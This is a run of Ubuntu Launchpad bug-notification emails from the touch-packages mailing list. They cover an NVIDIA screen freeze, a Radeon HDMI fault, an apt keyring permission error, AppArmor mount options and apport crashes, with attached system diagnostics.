[Touch-packages] [Bug 2016045] Re: Screen sometimes freezes when tabbing in-out of apps running using dedicated gpu.
Thank you for taking the time to report this bug and helping to make Ubuntu better. It sounds like some part of the system has crashed. To help us find the cause of the crash please follow these steps: 1. Look in /var/crash for crash files and if found run: ubuntu-bug YOURFILE.crash Then tell us the ID of the newly-created bug. 2. If step 1 failed then look at https://errors.ubuntu.com/user/ID where ID is the content of file /var/lib/whoopsie/whoopsie-id on the machine. Do you find any links to recent problems on that page? If so then please send the links to us. Please take care to avoid attaching .crash files to bugs as we are unable to process them as file attachments. It would also be a security risk for yourself. ** Package changed: xorg (Ubuntu) => ubuntu ** Changed in: ubuntu Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2016045 Title: Screen sometimes freezes when tabbing in-out of apps running using dedicated gpu. Status in Ubuntu: Incomplete Bug description: 1/3 times I tab in / out of a app/game, that is running using the nvidia dedicated gpu, the screen freezes forcing me to restart my laptop. The cursor is still "usable" and reboot using SysRq REISUB is possible. This is not tied only to steam games, other apps/games like minecraft also cause this problem. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: path was not a regular file. .proc.driver.nvidia.capabilities.mig: Error: path was not a regular file. .proc.driver.nvidia.gpus..02.00.0: Error: path was not a regular file. .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 525.105.17 Tue Mar 28 18:02:59 UTC 2023 GCC version: gcc version 11.3.0 (Ubuntu 11.3.0-1ubuntu1~22.04) ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Apr 13 00:58:23 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu DkmsStatus: nvidia/525.105.17, 5.19.0-38-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation WhiskeyLake-U GT2 [UHD Graphics 620] [8086:3ea0] (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company WhiskeyLake-U GT2 [UHD Graphics 620] [103c:84c1] Subsystem: Hewlett-Packard Company GP108M [GeForce MX250] [103c:84c1] InstallationDate: Installed on 2023-02-06 (65 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0408:5300 Quanta Computer, Inc. HP Wide Vision HD Camera Bus 001 Device 004: ID 0bda:b00a Realtek Semiconductor Corp. Realtek Bluetooth 4.2 Adapter Bus 001 Device 002: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: HP HP Pavilion Laptop 15-cs2xxx ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic root=UUID=bd5e3449-4d4f-4ebd-afef-1e4da7b9ec69 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/25/2020 dmi.bios.release: 15.23 dmi.bios.vendor: Insyde dmi.bios.version: F.23 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 84C1 dmi.board.vendor: HP dmi.board.version: 15.32 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 15.32 dmi.modalias: dmi:bvnInsyde:bvrF.23:bd12/25/2020:br15.23:efr15.32:svnHP:pnHPPavilionLaptop15-cs2xxx:pvrType1ProductConfigId:rvnHP:rn84C1:rvr15.32:cvnHP:ct10:cvrChassisVersion:sku7EF01EA#AB7: dmi.product.family: 103C_5335KV HP Pavilion dmi.product.name: HP Pavilion Laptop 15-cs2xxx dmi.product.sku: 7EF01EA#AB7 dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev:
[Touch-packages] [Bug 2016036] Re: hdmi port
** Tags added: dualgpu hybrid i915 radeon ** Summary changed: - hdmi port + [radeon] HDMI port doesn't work ** Package changed: xorg (Ubuntu) => linux-hwe-5.19 (Ubuntu) ** Summary changed: - [radeon] HDMI port doesn't work + [HP ProBook 450 G0][radeon] HDMI port doesn't work -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2016036 Title: [HP ProBook 450 G0][radeon] HDMI port doesn't work Status in linux-hwe-5.19 package in Ubuntu: New Bug description: hello ubuntu developer i have a strict bug in latest version of ubuntu which make my hdmi port unable to connect to monitors or tv and need to disconnect the hdmi and power off and power on laptop again and when everything is up connect the hdmi to work probably and even reset doesn't work for it and this problem is exist on stackoverflow where i learned i should power of to solve the problem ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Wed Apr 12 21:37:13 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company 3rd Gen Core processor Graphics Controller [103c:194d] Advanced Micro Devices, Inc. [AMD/ATI] Mars [Radeon HD 8670A/8670M/8750M / R7 M370] [1002:6600] (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Mars [Radeon HD 8670A/8670M/8750M / R7 M370] [103c:194d] InstallationDate: Installed on 2023-03-23 (20 days ago) InstallationMedia: Ubuntu 22.04.2 LTS "Jammy Jellyfish" - Release amd64 (20230223) MachineType: Hewlett-Packard HP ProBook 450 G0 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic root=UUID=0c5a4433-24e9-49cb-8f3e-abeb93f03066 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/11/2019 dmi.bios.release: 15.112 dmi.bios.vendor: Hewlett-Packard dmi.bios.version: 68IRF Ver. F.70 dmi.board.name: 194B dmi.board.vendor: Hewlett-Packard dmi.board.version: KBC Version 90.0F dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.ec.firmware.release: 144.15 dmi.modalias: dmi:bvnHewlett-Packard:bvr68IRFVer.F.70:bd04/11/2019:br15.112:efr144.15:svnHewlett-Packard:pnHPProBook450G0:pvrA2018CD200:rvnHewlett-Packard:rn194B:rvrKBCVersion90.0F:cvnHewlett-Packard:ct10:cvr:skuC5F33AV#AB4: dmi.product.family: 103C_5336AN G=N L=BUS B=HP S=PRO dmi.product.name: HP ProBook 450 G0 dmi.product.sku: C5F33AV#AB4 dmi.product.version: A2018CD200 dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-hwe-5.19/+bug/2016036/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 2007402] Re: apt-get update error ubuntu22.04
Sir, My computer totally black out... Can't do anything... Need your help... Retired guy. On Wed, Apr 12, 2023, 8:30 AM Julian Andres Klode < 2007...@bugs.launchpad.net> wrote: > As #1 says, the file permissions for the keyring are wrong. They should > be world-readable, or at the very least readable by _apt > > ** Changed in: apt (Ubuntu) >Status: Confirmed => Invalid > > -- > You received this bug notification because you are subscribed to apt in > Ubuntu. > Matching subscriptions: dragonhahney > https://bugs.launchpad.net/bugs/2007402 > > Title: > apt-get update error ubuntu22.04 > > Status in apt package in Ubuntu: > Invalid > > Bug description: > I'm using ubuntu:22.04, but unfortunately we met a error when apt-get > update. > > below is the error message: > > root@7f7f478253a4:/# apt-get update > Get:1 http://archive.ubuntu.com/ubuntu jammy InRelease [270 kB] > > Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 > kB] > Err:2 http://security.ubuntu.com/ubuntu jammy-security InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Err:1 http://archive.ubuntu.com/ubuntu jammy InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Get:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [119 kB] > Err:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Get:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease [107 > kB] > Err:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Reading package lists... Done > W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: > The key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: > The key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: GPG error: http://security.ubuntu.com/ubuntu jammy-security > InRelease: The following signatures couldn't be verified because the public > key is not available: NO_PUBKEY 871920D1991BC93C > E: The repository 'http://security.ubuntu.com/ubuntu jammy-security > InRelease' is not signed. > N: Updating from such a repository can't be done securely, and is > therefore disabled by default. > N: See apt-secure(8) manpage for repository creation and user > configuration details. > W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) > in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are > ignored as the file is not readable by user '_apt' executing apt-key. > W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) > in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are > ignored as the file is not readable by user '_apt' executing apt-key. > W: GPG error: http://archive.ubuntu.com/ubuntu jammy InRelease: The > following signatures couldn't be verified because the public key is not > available: NO_PUBKEY 871920D1991BC93C > E: The repository 'http://archive.ubuntu.com/ubuntu jammy InRelease' is > not signed. > N: Updating from such a repository can't be done securely, and is > therefore disabled by default. > N: See apt-secure(8) manpage for repository creation and user > configuration details. > W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The > key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The > key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: GPG error: http://archive.ubuntu.com/ubuntu jammy-updates InRelease: > The following signatures couldn't be verified because the public key is not > available: NO_PUBKEY 871920D1991BC93C > E: The repository 'http://archive.ubuntu.com/ubuntu jammy-updates > InRelease' is not signed. > N: Updating from such a repository can't be done securely, and is > therefore disabled by default. > N: See apt-secure(8) manpage for repository creation and user > configuration details. > W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: > The key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W:
Re: [Touch-packages] [Bug 2007402] Re: apt-get update error ubuntu22.04
Sir, My laptop computer crashed. The screen totally out What should I do From Retired guy... On Wed, Apr 12, 2023, 8:30 AM Julian Andres Klode < 2007...@bugs.launchpad.net> wrote: > As #1 says, the file permissions for the keyring are wrong. They should > be world-readable, or at the very least readable by _apt > > ** Changed in: apt (Ubuntu) >Status: Confirmed => Invalid > > -- > You received this bug notification because you are subscribed to apt in > Ubuntu. > Matching subscriptions: dragonhahney > https://bugs.launchpad.net/bugs/2007402 > > Title: > apt-get update error ubuntu22.04 > > Status in apt package in Ubuntu: > Invalid > > Bug description: > I'm using ubuntu:22.04, but unfortunately we met a error when apt-get > update. > > below is the error message: > > root@7f7f478253a4:/# apt-get update > Get:1 http://archive.ubuntu.com/ubuntu jammy InRelease [270 kB] > > Get:2 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 > kB] > Err:2 http://security.ubuntu.com/ubuntu jammy-security InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Err:1 http://archive.ubuntu.com/ubuntu jammy InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Get:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease [119 kB] > Err:3 http://archive.ubuntu.com/ubuntu jammy-updates InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Get:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease [107 > kB] > Err:4 http://archive.ubuntu.com/ubuntu jammy-backports InRelease > The following signatures couldn't be verified because the public key > is not available: NO_PUBKEY 871920D1991BC93C > Reading package lists... Done > W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: > The key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: http://security.ubuntu.com/ubuntu/dists/jammy-security/InRelease: > The key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: GPG error: http://security.ubuntu.com/ubuntu jammy-security > InRelease: The following signatures couldn't be verified because the public > key is not available: NO_PUBKEY 871920D1991BC93C > E: The repository 'http://security.ubuntu.com/ubuntu jammy-security > InRelease' is not signed. > N: Updating from such a repository can't be done securely, and is > therefore disabled by default. > N: See apt-secure(8) manpage for repository creation and user > configuration details. > W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) > in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are > ignored as the file is not readable by user '_apt' executing apt-key. > W: http://archive.ubuntu.com/ubuntu/dists/jammy/InRelease: The key(s) > in the keyring /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are > ignored as the file is not readable by user '_apt' executing apt-key. > W: GPG error: http://archive.ubuntu.com/ubuntu jammy InRelease: The > following signatures couldn't be verified because the public key is not > available: NO_PUBKEY 871920D1991BC93C > E: The repository 'http://archive.ubuntu.com/ubuntu jammy InRelease' is > not signed. > N: Updating from such a repository can't be done securely, and is > therefore disabled by default. > N: See apt-secure(8) manpage for repository creation and user > configuration details. > W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The > key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: http://archive.ubuntu.com/ubuntu/dists/jammy-updates/InRelease: The > key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. > W: GPG error: http://archive.ubuntu.com/ubuntu jammy-updates InRelease: > The following signatures couldn't be verified because the public key is not > available: NO_PUBKEY 871920D1991BC93C > E: The repository 'http://archive.ubuntu.com/ubuntu jammy-updates > InRelease' is not signed. > N: Updating from such a repository can't be done securely, and is > therefore disabled by default. > N: See apt-secure(8) manpage for repository creation and user > configuration details. > W: http://archive.ubuntu.com/ubuntu/dists/jammy-backports/InRelease: > The key(s) in the keyring > /etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg are ignored as the > file is not readable by user '_apt' executing apt-key. >
[Touch-packages] [Bug 2012563] Re: unsupported mount options: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime'
Hi Oliver, Thanks for the explanation and the PR. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apparmor in Ubuntu. https://bugs.launchpad.net/bugs/2012563 Title: unsupported mount options: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime' Status in apparmor package in Ubuntu: New Bug description: The following mount options are unsupported: 'nofail', 'nostrictatime', 'lazytime', and 'nolazytime'. Other mount options have mappings from options to bitflags in `parser/mount.cc`, and the bitflags themselves are defined in `parser/mount.h`. Should the aforementioned mount options be included as well, or is there a reason why they are excluded? snapd currently assumes that they are supported, resulting in an error from the apparmor parser when a snap is connected with those options. I'd be happy to file a PR to add these mappings if I knew what the new bitflags should be defined as, and if/how they should be used elsewhere. For completeness: 1) This is a question/bug regarding the source code from the 'ubuntu/devel' branch (and presumably other branches), not a particular release. 2) Same as 1). 3) I expected the apparmor parser to recognize the 'nofail', 'nostrictatime', 'laztime', and 'nolazytime' mount options. 4) The apparmor parser threw an error with message "unsupported mount options" (from within `parser/mount.cc`). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2012563/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015928] Re: gst-plugins-base1.0 fails to build on Ubuntu 23.04 with glib 2.76.1
** Changed in: gst-plugins-base Status: New => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-base1.0 in Ubuntu. https://bugs.launchpad.net/bugs/2015928 Title: gst-plugins-base1.0 fails to build on Ubuntu 23.04 with glib 2.76.1 Status in gst-plugins-base: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: In Progress Bug description: gst-plugins-base1.0 fails to build on Ubuntu 23.04 because of a build test failure. This appears to have been triggered by the removal of the slice allocator in glib 2.76. I have reported the issue upstream to gstreamer now. https://launchpad.net/ubuntu/+source/gst-plugins-base1.0/1.22.1-1 To manage notifications about this bug go to: https://bugs.launchpad.net/gst-plugins-base/+bug/2015928/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2016045] [NEW] Screen sometimes freezes when tabbing in-out of apps running using dedicated gpu.
Public bug reported: 1/3 times I tab in / out of a app/game, that is running using the nvidia dedicated gpu, the screen freezes forcing me to restart my laptop. The cursor is still "usable" and reboot using SysRq REISUB is possible. This is not tied only to steam games, other apps/games like minecraft also cause this problem. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: path was not a regular file. .proc.driver.nvidia.capabilities.mig: Error: path was not a regular file. .proc.driver.nvidia.gpus..02.00.0: Error: path was not a regular file. .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 525.105.17 Tue Mar 28 18:02:59 UTC 2023 GCC version: gcc version 11.3.0 (Ubuntu 11.3.0-1ubuntu1~22.04) ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Apr 13 00:58:23 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu DkmsStatus: nvidia/525.105.17, 5.19.0-38-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation WhiskeyLake-U GT2 [UHD Graphics 620] [8086:3ea0] (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company WhiskeyLake-U GT2 [UHD Graphics 620] [103c:84c1] Subsystem: Hewlett-Packard Company GP108M [GeForce MX250] [103c:84c1] InstallationDate: Installed on 2023-02-06 (65 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0408:5300 Quanta Computer, Inc. HP Wide Vision HD Camera Bus 001 Device 004: ID 0bda:b00a Realtek Semiconductor Corp. Realtek Bluetooth 4.2 Adapter Bus 001 Device 002: ID 046d:c52b Logitech, Inc. Unifying Receiver Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: HP HP Pavilion Laptop 15-cs2xxx ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic root=UUID=bd5e3449-4d4f-4ebd-afef-1e4da7b9ec69 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/25/2020 dmi.bios.release: 15.23 dmi.bios.vendor: Insyde dmi.bios.version: F.23 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 84C1 dmi.board.vendor: HP dmi.board.version: 15.32 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 15.32 dmi.modalias: dmi:bvnInsyde:bvrF.23:bd12/25/2020:br15.23:efr15.32:svnHP:pnHPPavilionLaptop15-cs2xxx:pvrType1ProductConfigId:rvnHP:rn84C1:rvr15.32:cvnHP:ct10:cvrChassisVersion:sku7EF01EA#AB7: dmi.product.family: 103C_5335KV HP Pavilion dmi.product.name: HP Pavilion Laptop 15-cs2xxx dmi.product.sku: 7EF01EA#AB7 dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug jammy ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2016045 Title: Screen sometimes freezes when tabbing in-out of apps running using dedicated gpu. Status in xorg package in Ubuntu: New Bug description: 1/3 times I tab in / out of a app/game, that is running using the nvidia dedicated gpu, the screen freezes forcing me to restart my laptop. The cursor is still "usable" and reboot using SysRq REISUB is possible. This is not tied only to steam games, other apps/games like minecraft also cause this problem. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0:
[Touch-packages] [Bug 1822712] Re: https mirrors apport-retrace crashed with SystemError in _get_primary_mirror_from_apt_sources(): cannot determine default mirror: /etc/apt/sources.list does not cont
** Changed in: apport Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1822712 Title: https mirrors apport-retrace crashed with SystemError in _get_primary_mirror_from_apt_sources(): cannot determine default mirror: /etc/apt/sources.list does not contain a valid deb line Status in Apport: Fix Released Status in apport package in Ubuntu: Confirmed Bug description: 1. Have other crash occur. 2. Click retrace locally. 3. apport-retrace crashes. The only thing I can think is it's the fact that i changed my mirror to: deb https://mirrors.ocf.berkeley.edu/ubuntu/ disco main restricted universe multiverse deb-src https://mirrors.ocf.berkeley.edu/ubuntu/ disco main restricted universe multiverse ProblemType: Crash DistroRelease: Ubuntu 19.04 Package: apport-retrace 2.20.10-0ubuntu23 ProcVersionSignature: Ubuntu 5.0.0-8.9-generic 5.0.1 Uname: Linux 5.0.0-8-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportLog: ERROR: apport (pid 10677) Mon Apr 1 19:40:34 2019: called for pid 8661, signal 11, core limit 0, dump mode 1 ERROR: apport (pid 10677) Mon Apr 1 19:40:34 2019: executable: /usr/bin/gedit (command line "/usr/bin/gedit --gapplication-service") ERROR: apport (pid 10677) Mon Apr 1 19:40:34 2019: debug: session gdbus call: (true,) ERROR: apport (pid 10677) Mon Apr 1 19:40:42 2019: wrote report /var/crash/_usr_bin_gedit.1000.crash ApportVersion: 2.20.10-0ubuntu23 Architecture: amd64 CrashReports: 640:1000:117:8118520:2019-04-01 20:06:04.204469680 -0700:2019-04-01 20:06:05.204469680 -0700:/var/crash/_usr_bin_gedit.1000.crash 640:1000:117:23602:2019-04-01 20:06:21.172740697 -0700:2019-04-01 20:06:22.172740697 -0700:/var/crash/_usr_bin_apport-retrace.1000.crash CurrentDesktop: ubuntu:GNOME Date: Mon Apr 1 20:06:22 2019 ExecutablePath: /usr/bin/apport-retrace InstallationDate: Installed on 2018-04-14 (352 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180414) InterpreterPath: /usr/bin/python3.7 PackageArchitecture: all ProcCmdline: /usr/bin/python3 /usr/bin/apport-retrace -S system -C /home/username/.cache/apport/retrace -v --output /var/crash/_usr_bin_gedit.1000.crash /var/crash/_usr_bin_gedit.1000.crash ProcEnviron: TERM=xterm-256color PATH=(custom, user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash Python3Details: /usr/bin/python3.7, Python 3.7.3, python3-minimal, 3.7.2-1 PythonArgs: ['/usr/bin/apport-retrace', '-S', 'system', '-C', '/home/username/.cache/apport/retrace', '-v', '--output', '/var/crash/_usr_bin_gedit.1000.crash', '/var/crash/_usr_bin_gedit.1000.crash'] PythonDetails: /usr/bin/python2.7, Python 2.7.16, python-minimal, 2.7.16-1 SourcePackage: apport Title: apport-retrace crashed with SystemError in _get_primary_mirror_from_apt_sources(): cannot determine default mirror: /etc/apt/sources.list does not contain a valid deb line UpgradeStatus: Upgraded to disco on 2019-01-05 (86 days ago) UserGroups: adm cdrom dip libvirt lpadmin lxd plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/1822712/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2008638] Re: apport-gtk crashed with urllib.error.HTTPError in http_error_default(): HTTP Error 502: Bad Gateway
